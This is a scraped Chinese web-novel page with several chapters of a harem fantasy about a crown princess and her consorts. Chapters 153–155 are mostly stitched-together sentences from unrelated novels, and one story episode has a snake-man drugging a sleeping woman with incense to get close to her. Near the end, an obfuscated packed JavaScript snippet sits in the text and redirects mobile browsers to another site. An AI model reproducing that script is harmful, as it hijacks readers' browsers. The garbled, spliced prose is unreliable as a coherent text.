“太女殿下,事情就是这样,蛇族少族长白渊以及狐族烈王涂山烈都想同殿下见上一面,商谈合作事宜。
“前些天,下官还和他们交易粮种……这事情还请太女殿下定夺。”
君羲也在思索,涂山烈和白渊口中合作之事的真假?
因上一世之事,君羲对九个夫郎都有好感,但这并不意味着她会盲目地相信其中的任何一个人。
要知道,一个人经历的事情不同,会展现出不同的性格。
这一世,涂山烈和她之间,可没发生过那么多事情。
如今,涂山烈对君羲而言,只不过是一个当初用于制衡狐族壮大的棋子。
想必,涂山烈也在想办法摆脱自己桎梏,毕竟,比起在狐族当尊贵无比的王,他肯定不想嫁进东宫做侧夫。
短短瞬间,君羲想了很多,她需要整理脑中的思绪,才能给王冰等人回来回复。
“今日,夜已深,汇报便到此为止。”
“……刚刚吩咐的赈灾措施,也一定要尽快落实,王冰,便交给你办了,若做得好,孤自不会亏待有功之臣。”
王冰有些压不住咧开的嘴角,她就知道,太女殿下是个英明的储君!
升官加职,飞黄腾达。
只要能办好岚州、钦州、蔼州赈灾的事,不是妥妥的吗?
王冰走出营帐大门,脚步都带风。
此时此刻,营帐外,冰雪中有一双蓝色的眼眸露在雪外,静静地看着所有动静。
由于岚州的夜很黑,若是不仔细,极有可能忽略雪中的那一抹蓝色幽光。
再加上,白渊的本体就是一条白色的巨蛇,所以他埋在雪中,没有半点突兀,就像舒舒服服冬眠了一般。
“终于走了。”
他抬眼看了一眼天色,现在这个时辰,到了人类该睡觉休息的时候了。
只要营帐中的人睡着了,他便有机可乘,可以接近自己魂牵梦萦的那一抹雪香……
“阿羲,今夜你睡哪里?”
这还用问吗?君羲有两个夫郎都在这里,当然是轮流陪着了……
君羲可不想苦哈哈独守空房。
岚州之事比不上漾州,君羲去漾州是去行军打仗的,所以,在行军打仗途中,她会以身作则,不会享乐。
现在只是赈灾而已,比起大凰历代的皇帝,君羲已经算得上是很低调了。
要知道,她的皇皇祖母,每下一次地州,都会带回重庆的三两个男侍。
君羲觉得,她如今决定为九个夫郎守身如玉,已经算得上是很有妻德了。
“声声,你若不知该如何向孤赔罪不,便由你来侍寝吧。”
侍寝……
慕夜声和君羲第一夜并不美好,全程只有君羲感觉到爽了,慕夜声全程都在屈辱承受。
恰巧,君羲在离开玉京城前,他由于被月江离打伤,只能卧病在床。
君羲就算在好男色,也不会对病人下手。
所以,在东宫的四个夫郎中,君羲重生以来,慕夜声是唯一一个没有被宠幸过的。
而且,君羲也将她们第一夜的感受忘得差不多了……
君羲想看慕夜声这张谪仙一般清冷孤傲的脸,被拽下情欲的泥沼后,会出现怎样让人欲罢不能的风情。
“声声,考虑得怎么样?”
君羲拍了拍身侧的铺着白色毛毯的床铺。
“声声,床暖好了,快过来陪孤。”
……
第152章 白蛇钻被窝
侍寝?
慕夜声恍恍惚惚,还未来得及理清脑中乱成一团麻的思绪,君羲已经等不及了。
女人站起身来,悠闲伸了个大大的懒腰,不慌不忙一步一步朝着慕夜声站的方向走去。
“声声,别怕,孤只是单纯的想睡一个好觉,孤的声声这么善良,肯定也不忍心让孤孤枕难眠吧?”
君羲眼尖,慕夜声心软。
于是,慕夜声就这么被君羲牵着走到了床榻前。
直到慕夜声和君羲躺在了一个被窝里,感受到腰腹上女人的手臂,和与自己身上药香截然不同的清冷雪香……
慕夜声僵硬着,身体直挺挺地躺在白色皮毛上面,一动也不敢动。
他现在都还有些心神恍惚,怎么事情就发展到这一步了呢?
他微微垂眸,装作不经意地打量怀抱中的女人,女人似乎真的赶路疲惫到了极点,从纤长的羽翼下可以看到青黑的眼睑。
此刻,趴在他的胸膛前,似乎是觉得他身上的药香比较安稳,整张脸越埋越近,直到完全埋进他的胸膛。
他能感受到君羲像小猫拱被子一样的撒娇动作。
“声声,你还不困吗?若是不困,孤陪你玩游戏?”
女人的声音带着调侃,里面似乎蕴含了什么不得了的内容。
慕夜声耳根发烫。一把按住女人不老实的手。
“我困了。”
君羲遗憾地收回手,闻着男人身上令她安心的药香。
“既如此,那便睡吧,有什么事等明日再说。”
君羲当然能感受到身旁男子由于紧张而僵硬的身体,但她认为,这是一个必不可少的增进感情的环节。
现在身体僵硬没关系,等以后睡在一起的次数多了,慕夜声自然也就能够习惯了。
女人的呼吸渐渐绵长,似乎是真的累极睡着了。
慕夜声这才放松了身心,躺在女人身旁,也渐渐熟睡过去。
外面风雪肆虐,寒风呼啸。
营帐内,榻上白色皮毛中,身陷温暖被窝的一男一女,显得十分的温馨和谐。
就如同每一对新婚燕尔的夫妇一般。
嘶嘶……
职业的守卫忍不住打了个哈欠,谁也没注意到,有一条白色的巨蛇悄无声息地在雪地上移动。
冰蓝色的眼睛微闪,仔细看里面还潜藏着痴迷。
越靠近营帐,白渊越能感越能感受到令他着迷的那一抹清冷雪香。
只是……
其中混杂了,让他讨厌的药香!
白渊不满地用蛇头去顶营帐下端,试图钻出一个缝隙,方便他潜进营帐中。
在他锲而不舍的努力下,终于顶开了一角,钻进去后,四处扫射一眼,便望到了床榻上相拥而眠的男女。
夜黑风高,白蛇钻被窝。
白渊嫌弃地将慕夜声拎起,扔到了另一旁的小榻上。
他怕被人发现端倪,还特意捞了一床被子,盖在慕夜声有些委屈,无处安放的大长腿上,这才心满意足地钻进被窝里。
粗壮有力的蛇尾缠住女人的双腿,整条蛇挂在君羲的身上,冰蓝色的眼愈发的颜色深沉,宛如表面平静,内藏汹涌的深海。
白渊将脑袋凑到男女人的脖颈,清冷的雪香在这个位置更加的浓郁,让他舒服地喟叹了一声。
“好香……”
整条蛇就像缠住猎物一样,越缠越紧。
君羲有些不适的皱了皱眉,似乎是白渊缠绕的力道太紧,女人要醒过来了……
白渊立刻松了松缠绕的力度。
猩红的蛇信从嘴中探出,一下又一下地扫着女人白皙的颈侧,将那舌尖上令他贪念的一抹雪香卷尽,舒适得的蛇眼半眯。
白渊只觉得浑身的血液躁动,腹处有了冲动
“好香,喜欢~”
可惜,白渊从未经历过男女之事。
加上他性格孤僻,从不喜欢与族中之人交谈。
蛇性本淫,他讨厌着做那些随意就交缠在一起的男男女女,故而,他没有这方面的常识。
只是觉得浑身燥热,需要什么东西来缓。
白渊只能拼命地缠绕着女人,控制着合适的力道,君羲的身上好冰冰凉凉的,是缓解他燥热的唯一良药。
好想君羲带回洞穴。他会为她筑起爱巢。今后他们二人一直一直待在一起。
但很可惜,君羲位高权重,不是他可以轻易左右的。
白渊如今都还是偷偷摸摸地潜进来,才有了得到这一抹雪香的机会。
他有些恨恨地瞧了一眼窝在小榻上的慕夜声,如果他和慕夜声一样,也是君熙过了明明面上的夫郎,那便好了。
白渊就可以时时刻刻追寻雪香,霸占君羲的时间。
白渊为了今夜,特意在身上准备了迷幻香,所以君羲只觉得自己好像做了一个很可怕的梦。
梦中,他似乎被什么东西缠上了,越是挣扎,越是缠绕得紧?
四肢都无法得到伸展,整个人被缠绕住,呼吸都有一些困难,但,每当她感到桎梏,便会松上一分,如此反复。
第二日,君羲大口大口地喘着气,眼皮下眼珠疯狂转动,她猛地坐起身来。
本小章还未完,请点击下一页继续阅读后面精彩内容!“怎么回事?”
“殿下你怎么了?可是昨日梦魇呢”
此刻,慕夜声也已经起床洗漱完毕,谪仙般的脸沾上洗漱残留的清润水珠,将他这张脸衬得如清水芙蓉一般,出尘绝丽。
君羲也没有多想,可能是昨夜她缠男人缠得太紧,男人为了防止她动手动脚,所以才将自己抱得很紧,这才做了昨夜的噩梦。
君羲不是很在意的摇了摇手。
“没事,孤就是做了一个噩梦,如今已经清醒了。”
“声声,你怎么起得这么早啊?”
“侍身每日卯时就起,去给灾民们看病诊治。”
事实上,王权不弃起得更早。
卯时不到,便已经背着药篓进入雪山,寻找能够克制寒疾,暖身的珍稀药材,以供慕夜声研制,救治更多的灾民。
慕夜声估摸着君羲快起了,估计会饿,所以这才特意给君羲端来早膳。
“阿羲,饿了吧?洗漱好便能吃早饭了。”
慕夜声无疑是一个很会照顾妻主的好夫郎,还特别的贤惠,知情识趣。
君羲看着晨光中男人极佳的身段,心中愈发的满意。
她点了点唇,问道。
“声声,昨夜可是你……做的?”
慕夜声也瞧见女人唇上那小小的伤口,似乎还有凝结的血咖在上面。
他想,莫不是自己昨夜睡着了,不老实做了什么吃美食的美梦,所以才将女人的嘴唇当肉啃了?
慕夜声有些心虚,毕竟,他也没有同旁人如此亲近的睡在一张床上过,故而,也不知道自己睡着的时候会不会不老实……
他没有开口承认,也没有开口否认。
君羲就默认了,毕竟,慕夜声的神情看上去就十分的心虚,就好像做了什么坏事一样。
她倒不在意自己的夫郎对自己做这种事情,毕竟君羲是女子,怎么都不会吃亏的。
加上,君羲本就想和慕夜声、王权不弃亲近。
解决完岚州事宜以后,再过上几月时间,便到了东方炽、东方凌、纳兰轻尘三个未婚夫郎的及冠日子。
到时,君羲便要举办一场盛大的婚礼,同娶三位夫郎进门。
所以,现在君羲要先哄哄慕夜声和王权不弃。
至于之后他们知晓此事后会如何表现,那就不是现在君羲考虑的了。
毕竟,上一世的九个夫郎,君羲都想要好好地照顾他们、保护他们,以偿还上一世他们为救自己而自戕的恩情。
身为他们的妻主,君羲更不能顾此失彼,虽心中最喜爱溟汐,但她也会对其他夫郎一视同仁。
一碗水要端平,雨露均沾,才是帝王之道。
“不弃呢,去哪里了?”
“妻主有所不知,不弃兄每日不到卯时便会去雪山深处,采集珍稀药材,供我研究使用。”
“这次能够救治这么多的灾民,王权兄找药之功,不可忽视。”
君羲点了点头,原来如此。
她想到暗格第一杀手——王权不弃,居然舍弃了杀人的刀,拿起了采药的药锄,背着药篓,进入雪山采药……
君羲莫名感觉那画面有一些萌。
她加快了洗漱的动作,三两下将头发绑成高马尾,英姿飒爽,潇洒风流。
坐在八仙桌前,吃着清粥小菜,倒也别有一番滋味。
“声声,今日替灾民诊治,可有遇到麻烦?”
若是遇到麻烦,君羲自然是要替慕夜声撑腰。
当朝太女的夫郎,什么人敢不长眼地惹到慕夜声?
王冰每日派精兵守护慕夜声安全,更别提那些把男人视作神明的百姓们,她们不会让他受到一丝一毫的欺辱。
如今君羲更是料理了君明月以及君凌等人,没有了在背后兴风作浪的幕后黑手,自然会太平许多。
用完早膳后,君羲想了想,还是同慕夜声说:
“声声,你便在此替灾民诊治,若遇到什么困难尽管去找闭月羞花,她们会替孤保护好你。”
“孤进雪山去找不弃,顺便帮他一起采集药草。”
十万雪山中盘踞着众多的兽人部落,其中最为强大的就是狐族和蛇族。
如今白渊和涂山烈目的不明,君羲并不放心王权不弃孤身一人,深入雪山。
王权不弃武功再高强,他也是人,不是神,会受伤,所以君羲决定亲自去照看。
君羲背上药篓,便见慕夜声有些憋笑的样子,她便伸手去捏了捏男人的脸颊。
“声声,你笑我什么?”
慕夜声连忙摇头,他怎么会承认他是看到君羲这一副采药人的装扮,莫名感觉有些闲适悠然,同她在东宫时的霸气骇人完全不一样。
所以才有些憋不住笑意。
“殿下别冤枉我,我可没有笑话殿下的意思。”
他伸手替君羲整理腰间的特质木箱。
“殿下,有些药材必须要用玉盒保养保存,有些又需要用金盒保存……这特制的木箱里一应俱全,辨识药草的小手册也在其中。”
“殿下若去,千万要注意自身安全。”
“声声,担心我啊?”
……
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第一卷 第153章 不折手段
君羲同慕夜声告别,又有些不放心,特意将男人送到诊治的桌子前,站在一旁看了会儿。
周围都是王冰安排的守卫,还有她暗中安插的暗卫军,慕夜声的安全能够得到保障。
此话一出,傅羲不由一惊,兽灵体的事情对他来说是绝密,他有多少次都因为这兽灵体和上古异兽遭到居心叵测之人的追杀,现在这话从古崇阳的口中说出,他心中又怎能不警惕。
没多久,方逸把面和好,进了厨房,夏梓琪正用两把菜刀在那儿剁肉,方逸走了过去,从夏梓琪手里把两把菜刀接过,然后‘噔噔噔’的,厨房里满是这种声音。
那蛇脑已被砸烂,村主担心蛇仍未死,拿起棍子,连朝蛇头上挥了将近十棍。村主挑挑蛇,蛇如一根绳子般随着挑动而变形。
三人刚来到城门边,还没来及了解战况,城楼上的第二钺就看到了朱天蓬,关切地问候起来。
老朱赶紧上前抓稳航海罗盘,让“水神号”停下旋转,把孙悟空放进船舱之中。
看着眼前的身影,众人不禁倒抽一口冷气,他们根本无法相信,这是之前那个看上去土里土气的乡巴佬。
那卖筐面桶的迟迟未出,学掌柜也不确定卖筐卖桶的是否还在他家。
夜晚来临,月华遍洒海面,只见波光荡漾,无数细碎的镜面在闪亮。
因此,刘咏决定让赵云镇守一方,独领一军,开发出他的才能,让他威震天下。有杜袭在麾下,再给他配上一两员武将和一位参军,足够应付绝大多数事情。
拿走培元朱果,自然是因为对它有用。老朱推断,离丘神应该拥有肉身,多半是一种超凡生物。
他们只希望今后不会再有战争和杀戮,亲人不会再平白的死去,牛羊可以安心在湖边吃草,这样的生活足以。
一日之后,杨秀清亲率五万大军控制平武城南大门,与城外九黎军里应外合,仅用半个时辰,便将整座县城占据。
他们夫妻俩是戴罪之身,不能在京城逗留太久,灵柩一下葬就得准备回宁州。
次日一早,城中响起了悠扬的钟声,洪福和游伏两人这才带着姜宣和姜勇这两个有姜氏的高层,跟随着上学的人流,一起去了汉阳城官署大楼的顶楼去面见首领。
一路上,谢正都在做自我心理建设,已经准备好迎接即将到来的风暴。
每次阿暖去他们家,进宝都像是家里进了贼似的赶紧把好吃的好玩的统统藏起来。
林潇月还沉浸在自己的思绪中,没意识到嘴唇已经被男人狠狠噙住,不停地辗转吮咬。
但是凭借此法若想证道大罗天尊,却是难上加难。比之练气法门难了不止一筹。
“母亲,这个问题还用问吗?我自然是帮你了,我怎么可能会帮父亲呢,这件事,本身就是父亲做的不对。”沈卿瞳直接答道。
如果不出所料,只需一年的时间,杨坚便可以独占三市之地,坐拥上千万百姓,手下兵精将强,基业便初步定下了。
“笨蛋,人家的坑师兄一个道侣就是绝情道的核心弟子。”这次不用白瑜回答,有人主动帮他回答了。
“切~”酒馆里此时有佣兵和冒险家近百人,原本还有一股剑拔弩张的紧张气氛,却随着李德明的表现烟消云散,酒馆里的人顿时恢复了先前的景象,该吃的吃,该喝的喝,侃牛的继续侃牛,好像什么事情都没有发生一样。
关在囚笼之,如同被豢养的禽兽一样,充满着绝望,对于她们来说,唯一的出路,自然就是能够被买出这里,虽然为奴为仆也不是什么好事,却总是强过留在这里。
豪华星舰开始减速,缓缓的开了口过来,自然神君这才脸色一整立刻走向舱门,五号也停止了呼救走了过去,这时的陈青才不慌不忙的穿戴盔甲。
随着他开始演练松鹤万寿拳,太元便感觉到自己的肉身慢慢活络起来。
古力心道这姑娘来真格的了,让你看看我的厉害,将手一招,空中的灵郢剑反冲直上,化为一片水幕朝着空中的闪电兜头冲上。
这就是所谓的隐世家族的底蕴,就算他们大汉朝皇室也没有这样天才的晚辈。
回到别墅之后,已经是深夜,可是诸葛倾城还没有睡,专门等李扬,李扬也就不好意思再离开,他也有些想念诸葛倾城的身体。
相比看他不爽的白瑜,白瑜对柳生十兵卫那却是十足十的仇恨,从第一次见面,柳生十兵卫就多次找他麻烦,今天他自己送上门,白瑜那有不杀的道理,这一次回来,压制的怒冰,彻底爆发了。
卢存孝不知道轩辕胜才为何会在这种时候突然来到唐河县,但是接到轩辕胜才的传令,卢存孝不敢耽搁,领着几名亲随,迅速赶到轩辕胜才的驻地,唐河县城外有一条扭曲如长蛇般的河流,名为唐河,县城便是以此命名。
大家做好防晒措施,走上甲板,看着几乎和天空一个色的碧蓝大海,仿佛身心皆得到了净化。
这一切的发生只是瞬息之间,江霄此时正在发力,他甚至还来不及将多余的灵力注入屏障,屏障就直接消失了。
一次在街上聚会吃饭,翾楚爸的朋友们就簇拥着,翾楚爸,让给翾楚妈买大衣和黄金。
“后来我就到了紫星学院,再后来的事情就是遇到你们。”冷筱童看了江霄一眼,发现江霄的情绪似乎没有过大的变化,也就接着说了。
“看就看呗,他们又不是没见过我们亲热。”宋然轻描淡写的说道。
霍中庭的话一说出口,白條就下意识的想要去还嘴,但一想到这么多年自己在自家老哥这里都没有占到过便宜,他就把到了嘴边的话又给咽了下去。
第一卷 第154章 好看得不可方物
白渊逃离后,仍然有一些心有余悸。
君羲的内力带着锋锐杀意,若是他在跑慢一些,很有可能会受点伤。
他通体白色,鳞片尾端在特定的角度会呈现出冰蓝色光泽,是蛇族公认的原型最好看的蛇。
白渊爱美,讨厌脏污。
任丘还好,反正他们团队整体比周磊团队高,虽说也竖起了耳朵,可和周磊比起来,却差远了。
古皇朝方向,古恒见此一幕,目光凝重,今日黎天不死,必然成为他的噩梦。
其中大部分人并没有得到自己想要的消息,但有一部人却从佛国弟子的口中确认了情况确实有一位佛国弟子得到了上古藏宝图,他也确实杀了同门然后带着藏宝图独自逃跑了。
“糟了,这鲍勇突破了极境,没想到已经变得这么强大了!”褚健震撼地说道。
毫无花俏的一剑,甚至没有半点剑光闪过,就那样轻轻的点在了天心和尚的胸口。
客厅里安静了一会,说实话,苏安晴也不知道该怎么回答北冥雪,因为她压根就没想过这么奇怪的问题。
枯骨法王不是没想过,可他和洛寒之间的战斗都在电光火石之间,而且威力惊人,在一众天魔宫弟子中即便是慕容熙都无法插手进来,更何况那些普通弟子?求助与否又有什么区别?
利用人们的贪婪心,来给福利公司做人气宣传,销售顾问顺便趁机给前来的人洗脑,灌输他们的内容,忽悠消费者上当购买房子。
不多时那匹马身上的大部分马肉就被段浪割了下来,然后用树枝川成串支在了火堆旁,阵阵肉香渐渐散发出来,段浪早就在一旁抹起了口水,他的肚子也在一个劲的咕噜乱叫。
霍举一个接一个的恐吓,玄灵境,就是他们对神通境的称呼,但划分更加详细,分为了十重天。
静空、静远不愧是大昭寺真传,身体素质强悍的简直非人。先前挨了诡异那惊世一刀,几乎重伤垂死,但就这么短短时间,辅以一些伤药,竟然已经勉强恢复了行动能力,伤口的血也止住了。
复杂的结印后,二代解开了坟墓的封印,一个地下阶梯露了出来,二代拿着火把走了进去,地下阶梯连接着一个地下室,里面只有一个东西——一具石棺。
先前落败的任飞鹏吃亏在这上面,而现在,苍昭面对这点其实同样没什么好办法。
其实她可以早上不睡觉的,刚才说的那些都是借口,不知道为什么,她就是不想和纪青一起出去。
杨德妃气急在杨德妃看来,害人这种事情,殊为平常,只要别露了太大的形迹被人抓着便可;但失了身份,着实丢人。
毕竟牢房内的警察们都清楚牢房到底是个什么地方,像她这般模样的人出去只怕会是引起什么大祸,不出门对警察和她而言都是件好事。
另一人是方承嘉的未婚妻子,她是才名满天下的姑苏沈家的姑娘,又是本朝唯一的三元及第的状元郎的未婚妻室,众人便觉得,她定然也是极厉害的,否则怎么配得起沈家的名声,怎么配得上状元郎。
林语析迟迟没有动作,但照着秦楚这样,显然是不把她送回去就绝不会离开的,林语析只好随了秦楚的意借着秦楚的伞走回家。
第一卷 第155章 君羲喜欢王权不弃
“妻主,你干什么?”
听到王权不弃这个问题的时候,君羲在想一个非常经典的答案……
明明调戏良家姑娘那是要犯事的,结果秦易这倒好,说着说着,怎么秦易调戏别人反倒是成理所应当的事儿了。
语落,他直接将自己地阶大圆满那强悍的气息波动,从体内释放了出来。
只见云梦灵正躺在那巨石上,雪白的衣裙早已因重伤而被染红,鲜血渗入下方土地,令那原本就暗红的大地变得更加诡异。
“是,弟子知晓,弟子一定肝脑涂地为师尊取回金帝兰果。”华修平赶忙跪倒磕头,态度极其诚恳。
深水巨蟒尾巴上的鳞片却是突然光芒大振,直接将那些火焰给震散了。
一进入湖面下,杨南便感觉到了岩浆湖炙热的温度,身体如同被烙铁烫红了一样。
陈峰嘴角微微一勾,随即手臂猛地一挥,就像是丢铅球一般,直接将牧鹏向着旁边的墙壁狠狠的砸了过去。
他秦易现在谁的人也不是,硬要说,那也是彤妃手下的人,太子孙长空?他和对方从来都只是合作关系。
欧阳冰的身体,犹如断了线的风筝一般倒飞而出,撞断了一棵棵古树。
起初马自成还有些质疑,待得出城之后,他就发现,秦易为何会放段流河走了。
等云扬把云娘的脚包的像一双粽子一样,云娘嘴角抽了抽,这不是她的腿断了吧?怎么会包成这个样子?
“我想,他是为了把皇位传给你。”阿尔缇妮斯见他不答,径自说道,瞬时如平地惊雷,众人无不震惊。
保镖打了方向盘,送她开车过去。冷氏集团这几天,记者蹲守也不少,为了避免麻烦,她直接走了后面的员工通道。
顾青青一下子从床单上爬起来。现在天才蒙蒙亮,看着墙上的挂钟,大约才七点刚过。
若兰嘴角牵着一抹邪笑,静静的看着,她要看看这个莫旋,会怎样做。
准备为自己证明自己不是那么没用,可话还没有说出口,就听见魔音穿耳。
不过,不知道为什么,她总觉得八卦镜里的世界她其实是很熟悉的,也不知道这种感觉从何而来。
银狼顿时双眼放光,带着背上的紫宝冲进了鸡圈里,一时间鸡圈顿时鸡飞狗跳。
从一开始她就知道,这样子的装傻充愣也只能是拖延一下罢了,不能够真正解决此刻的燃眉之急。
毕竟苦战了一宿,他的精气神乃至于精神状态,都处于极度崩溃的边缘。
昊天道体的力量等级有九个变化,因此,古林将这昊天道决分为了九转,此时的古林实力俨然已经达到了一转之境,身体强度堪比黄级低阶灵器。
此时的夏雷,因为被穆炎控制,自然不可能再去攻击穆炎。他直接认输,请求圣级强者来毁掉万鬼幡,解除自己危机。
叶南一想了想空间的事情事关重大,不能告诉别人,那就只能编了,叶南一想了想说:“我嫁的村子旁边有一座深山,有一次我进去玩的时候,不知道怎么回事,误入一个洞府。
“姐姐,你怎么了?姐姐?姐姐?”玄云星云着急的跑到叶南一的身后,扶着她坐下。
第156章 先放开孤
王紫汐弓着腰走进营帐,发福的身材让君羲三人险些没认出来。
王权不弃明显怔愣了一下,眼前这个弯腰驼背,双眼无神,膀大腰圆的女人当真是他母亲?
印象中,王紫汐附庸风雅,喜着青衣,装得一副“儒雅”模样,王权不弃不曾见王紫汐如此狼狈过。
就像被抽走了脊梁,打压了灵魂。
王紫汐不敢抬眼看君羲,她深知,是自己无能,才被狐族俘虏。
太女殿下,最恨无能之人。
她怕是没活路了。
王紫汐不禁悲从心来,膝盖一弯,跪在地上,如悲似泣。
“罪臣王紫汐拜见太女殿下,太女殿下千岁、千岁、千千岁。”
君羲:“你何罪之有?说来听听。”
王紫汐把头埋得更低,恨不得地上能生出一条缝,能让她把脑袋埋进去。
“罪臣好大喜功,自以为能掌控全局,却掉进了狐族陷阱,被狐族俘虏后……”
她说着说着,不禁哭了起来,眼泪胡满了王紫汐那张沧桑的老脸。
“罪臣受尽折磨,也不肯吐露太女殿下任何消息,卑鄙狐族,使了惑心术,从臣口中套出了太女殿下前往漾州平寇的消息。”
“罪臣自知罪大恶极,好在太女殿下平安无事,否则,罪臣万死难辞其咎!”
王紫汐取下发间用于固定的简陋发簪,对着君羲再次深深拜下。
“还请太女殿下看在罪臣也是为国效力,这才中了狐族奸计的份上,饶过罪臣的家人。”
王权不弃竟不知,对他吝啬施舍一点母爱的王紫汐居然为了那对父子甘愿豁出性命。
他心中一时有些难受。
君羲察觉到王权不弃情绪,握住男人的大手,无声地给予安慰。
“哦?王紫汐,你说的家人可包括不弃?”
王紫汐茫然:
“不弃?”
王权不弃周身的气息冷了下来,看,有人备受王紫汐宠爱,他却连名字都不曾被王紫汐记住!
何等讽刺?
王权不弃似讥讽开口,提醒王紫汐。
“王弃,母亲,你可还记得有我这个儿子?”
弃……
王紫汐脸色一僵,她当然记得,是那个水性杨花、朝三暮四的贱男人生下来的野种,不止是野种,还是灾星!
但这话,万万不能当着君羲的面说。
王弃现在名为王权不弃,当朝太女殿下的宠夫。
王紫汐怯懦地低下头,干笑几声。
“殿下说笑了,王权侧夫是储君侧夫,谁敢对他如何?只是可怜罪臣的小儿子,他如今还小……”
王权不弃冷笑。
“他也才十九,是吗?”
还真是小得很呢。
王权不弃虽说对王紫汐早已失望透顶,他本以为无论王紫汐做什么,他都不会再有任何感觉,但王权不弃没想到,内心深处,他还是渴望着得到母亲的关爱。
王权不弃彻底心灰意冷,撇过头,不愿在看王紫汐一眼。
君羲凤眼中冷色一闪而过,她的夫郎,也是王紫汐可以欺负的?
“王紫汐,你简直荒谬至极!”
“你的眼里,可曾有过不弃这个儿子?明明他比王星岳优秀数百倍!你眼中就是看不到!”
“修身齐家治国平天下,孤看你最大的罪过就是偏听偏信,宠侍灭夫!”
王紫汐被君羲臭骂一顿,心中却是不以为然。
本就是王弃的父亲背叛了她,又生了一副冷淡性子,不屑讨好任何人,她怎么可能喜欢一个冷面怪物?
她另宠他人有何不对?
“罪臣知错,求太女殿下宽恕。”
君羲失望地摇了摇头。
“你该认错的对象不是孤,而是被你忽视冷落了二十一年的儿子。”
王权不弃被君羲感动到,他心中突然有一种感觉,哪怕全世界都背叛了他,君羲也会站在他的身边,替他保驾护航。
他握住女人温暖的手,就像握住了童年的那一束救赎。
“我没事。”
他不在意了,从今以后,都不在意了。
有君羲陪在他身边,足以。
王紫汐神情纠结,一直以来,她最看不上的就是王权不弃这个灾星,如今,她想要保住家人的性命,却不得不求他。
可真是风水轮流转啊。
王紫汐在不愿意,为了王星岳父子也可以妥协,不就是在王权不弃面前认错吗,她可以忍。
王紫汐维持好表情,努力从眼神中透露愧疚的意思。
“不弃,这些年来,是母亲委屈你了,对不起,是母亲的错。”
“你可以恨母亲,但是,你弟弟星岳是无辜的,你和星岳是同母亲兄弟,是这世界上,最亲近之人……”
王权不弃快听不下去了,王紫汐字字句句都在替王星岳着想,生怕他受一点委屈。
王权不弃还没发作,君羲先听不下去了,出声替王权不弃打抱不平。
“闭嘴!”
“你可以滚了。”
王紫汐惊喜,太女殿下让她滚,没说责罚,莫不是,这事情,就这么轻飘飘揭过了?
她有种不真实的感觉。
王紫汐这张嘴,说了还不如不说。
君羲见不得王权不弃受委屈,吩咐道:
“来人!王紫汐身为户部尚书,好大喜功,贪功冒进,导致被俘,透露出储君行踪,视同叛国……”
王紫汐听着冷汗都下来了,叛国……
这可是诛九族的大罪!
“罪臣不敢,万万不敢呐!求太女殿下垂怜。”
君羲故意半刻钟没说话,王紫汐膝盖都跪青了,却在君羲当然压迫感下,不敢动弹半分。
就在王紫汐脑中疯狂想办法,怎么才能让她的爱夫爱子逃离杀招时,君羲看够了王紫汐惊慌的表情,对她说道:
“念其是王权侧夫的母亲,死罪可免,活罪难逃。”
“传孤口谕,户部尚书王紫汐就此贬为庶人,流放钦州,永世不得回京。”
王紫汐天塌了,这个世上,她最在意的就是王星岳父子,如今被君羲流放钦州,此生再也没有相见之日!
比杀了她还让她难受。
“庶人王紫汐,你还不快快叩谢殿下隆恩?”
“比起死路一条,你现在可是能好好活下去了呢。”
王紫汐心中绝望,但又无可奈何。
“庶人王紫汐谢太女殿下隆恩,定将日日感念太牛逼殿下恩德。”
“行了,下去吧。”
王紫汐拖着身体出了营帐门,超重的体重在雪地上留下深深的脚印。
“星岳,母亲无能,以后你和阿叹一定要好好的。”
“行了,哭哭啼啼做什么?还不赶紧起来走!”
就王紫汐这一边哭一边走,还要一边缅怀记忆的速度,怕是走到地老天荒都没办法走到目的地。
君羲的命令是第一优先级,此刻,已经有狱卒准备好了东西,就等王紫汐上路前往钦州了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853245|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>钦州,属于大凰王朝的最北方,一年四季都是冬天。
严寒能将人逼疯。
王权不弃嘴唇动了动,想到莫名其妙衰弱而亡的父亲,最终还是闭上了嘴。
这或许是对王紫汐最重的惩罚!
终其一生,都无法和被她捧在手掌心上的王星岳父子见面。
“不弃,答应你的,孤做到了。”
“只是……”
王权不弃将女人抱在怀中,下巴搁在女人发顶,有些依赖道:
“妻主,什么都不必多说,侍身都懂。”
君羲之所以没有直接判王紫汐**,不是因为仁慈,她只是为了王权不弃。
无论如何,她都不想王权不弃背负弑母的罪名。
“不弃,你放心,钦州苦寒,王紫汐坚持不了多久。”
王紫汐身无长物,也没有人敢帮一个惹了太女不悦的罪臣。
“妻主,今晚……能不能陪陪侍身?”
王权不弃将女人抱得越发的紧,半点也舍不得松手。
“可以吗?”
语调夹杂着脆弱的破碎感,君羲怎么舍得男人难过?
她一口答应下来。
“当然可以,孤今晚本就打算陪不弃你的。”
她反客为主,脸颊贴在王权不弃的胸膛,轻轻按压男人心脏位置。
“不弃,你要记住,你对孤而言,是爱人,也是要白头偕老之人。”
所以,不必妄自菲薄。
慕夜声:……
他已经吃撑了。
“声声,昨夜孤陪着你,今夜该陪不弃了,你可不许胡思乱想,吃飞醋啊。”
慕夜声心道:脸皮厚!
没了君羲,**会睡得多香!
“没事,不弃兄受了打击,妻主你的确应当开导一下。”
“孤就知道,声声最是大度。”
“行了,快走吧,很晚了,我们明日还要去标记处看冰晶花。”
“声声放心,孤和不弃明日一早,就在营帐门口等你。”
王权不弃心里一酸,拉着君羲的手,强硬地想离开。
“走了。”
“好。”
君羲回头朝着慕夜声眨眼,“声声,可别因为太想孤而无法入睡了哦。”
慕夜声恼羞成怒,有些咬牙切齿。
“不会。”
王权不弃一路上拉着君羲走,后面嫌弃君羲走得太慢,索性一把将人捞起,抱着就往他营帐方向走。
“不弃,你走这么快作甚?”
王权不弃没说话,只一个劲儿赶路,活像后面有追兵一样。
他是怕走得慢了,慕夜声会和他抢女人!
“阿羲,到了。”
